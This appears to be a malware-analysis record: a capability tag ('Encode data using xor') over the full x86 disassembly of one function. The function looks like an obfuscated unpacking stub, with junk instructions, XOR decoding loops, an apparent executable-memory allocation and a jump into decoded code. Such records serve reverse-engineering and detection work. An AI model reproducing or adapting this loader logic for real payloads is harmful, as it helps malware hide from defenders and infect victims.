Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x81f032f0
inc ebx
add eax, 0x219b9537
popal
sub eax, 0x4dfc4214
inc ebx
sub ebx, eax
mov ebx, 0
mov edi, edx
and eax, eax
or esi, esi
sub eax, 0xd80d61dc
mov ecx, edi
and eax, eax
sub eax, 1
not esi
mov edx, ecx
sub esi, 0x888ddcd0
sub esi, 0x86934c1c
inc ebx
mov esi, 0x3e6b7a7
inc esi
mov esi, 0xef5d7f1d
cmp ebx, 0x1001941
jne 0xa789c8
not esi
sub eax, 1
or ebx, ebx
and ebx, eax
mov eax, 0xa78796
or esi, ebx
mov edx, esi
mov edi, 0xa7898a
or edx, edx
or edx, edx
mov ecx, dword [eax]
or esi, edx
not edx
and ecx, 0xff
sub edx, ebx
mov esi, ebx
inc ebx
xor dword [edi], ecx
dec ebx
sub edx, esi
inc edi
and ebx, esi
or edx, ebx
inc eax
dec edx
add ebx, 0x6480c474
cmp edi, entry0
jl 0xa78a24
inc ebx
or esi, edx
add edx, 0x7d045008
and esi, edx
or edi, edi
add edi, 0x9a8ffe5b
sub esi, 0x13a13384
mov edx, 0xa7898e
and ecx, ebx
and ebx, esi
or ebx, edi
mov edx, dword [edx]
mov esi, 0x7000d9d8
inc ebx
mov ecx, edi
mov edx, dword [edx]
not ebx
not esi
push edx
and ecx, esi
inc ebx
add edi, 0xbf7ab797
mov edx, 0xa7898a
add ecx, edi
add edi, ecx
sub esi, ecx
mov edx, dword [edx]
sub esi, 0x491bd5ec
not ecx
mov edx, dword [edx]
and esi, ebx
inc esi
push 0xa78992
sub ecx, ebx
or ebx, ecx
call edx
or esi, edi
sub esi, 0x8e7c80e
not ebx
pop edx
add edi, 0x914a8341
sub ecx, 0x48c93ed2
push 0xa7899f
add esi, ecx
dec ebx
sub esp, 4
mov dword [esp], eax
sub esi, edi
sub esi, 1
sub edi, esi
call edx
and ecx, edi
add ecx, 0x9f982cc8
add esi, edi
push 0x40
sub ecx, ebx
sub edi, 0xd1126b4b
push 0x3000
and ecx, ecx
dec edi
sub esp, 4
mov dword [esp], 0x20000874
and esi, esi
add ebx, 0x261a30a
mov edi, ecx
push 0
dec edi
mov ebx, edi
call eax
sub esi, edi
and ebx, ebx
sub ecx, 0xf370d892
add eax, 0x2000080d
mov ecx, 0x321f7eaf
not ecx
mov edx, 0xa561c0e0
sub ecx, esi
not ebx
mov dword [eax], edx
add ebx, ecx
dec ebx
inc edi
mov edx, dword [eax]
and ebx, ecx
add ecx, 0xa1d1f8ee
cmp edx, 0xa561c0e0
je 0xa78b63
mov ebx, 0
mov edx, dword [ebx]
mov ebx, ecx
add ebx, 0xa8e6c47e
add ecx, 0xace6c370
dec ebx
add ecx, 0xeccb7ae0
not ecx
and eax, eax
or eax, ebx
mov esi, section..reloc
mov ebx, eax
sub eax, ebx
or eax, eax
mov edi, 0xa78795
not ebx
not eax
mov eax, 0x26fc1e21
mov ecx, 0
sub ebx, 0xc2ac01cb
inc ebx
add ebx, ebx
mov edx, 0xa78796
and eax, ebx
and ebx, eax
lea edx, [ecx + edx]
add ebx, 0x2ab01bb
or ebx, eax
mov edx, dword [edx]
add eax, eax
not eax
mov eax, 0x7b732b52
and edx, 0xff
mov ebx, eax
not eax
sub ebx, 1
inc ecx
add ebx, 0x4dd266f6
add eax, 1
cmp ecx, 0x1f4
jne 0xa78bee
mov ecx, 0
sub ebx, 0x8ffede5b
not eax
or ebx, ebx
or eax, eax
sub eax, ebx
xor dword [esi], edx
sub ebx, eax
sub eax, ebx
add esi, 2
sub eax, ebx
not eax
not ebx
cmp esi, edi
jl 0xa78ba5
add eax, eax
and ebx, ebx
sub ebx, eax
add ebx, 0x20c07d40
mov ecx, section..reloc
add eax, 0x604bbb0
add eax, 1
dec esi
mov ebx, section..reloc
inc eax
add eax, 0x76759ebb
mov edi, 0xa78795
add eax, eax
and eax, eax
add esi, eax
mov edx, 0
dec esi
or esi, eax
mov dl, byte [ebx]
or eax, eax
mov eax, 0x6288bda4
sub eax, 1
mov byte [ecx], dl
and esi, esi
add esi, 0x7c8ae29f
add eax, 0x2c8cf221
inc ecx
sub esi, eax
add esi, 1
add ebx, 2
mov esi, 0x359f991e
sub esi, eax
cmp ebx, edi
jle 0xa78c53
dec esi
mov eax, esi
add esi, 0xd864e95d
inc ebx
inc ebx
or eax, eax
push 0x8dc6a0
sub eax, 0xa30c361a
mov ebx, eax
add eax, 0x6dea4929
ret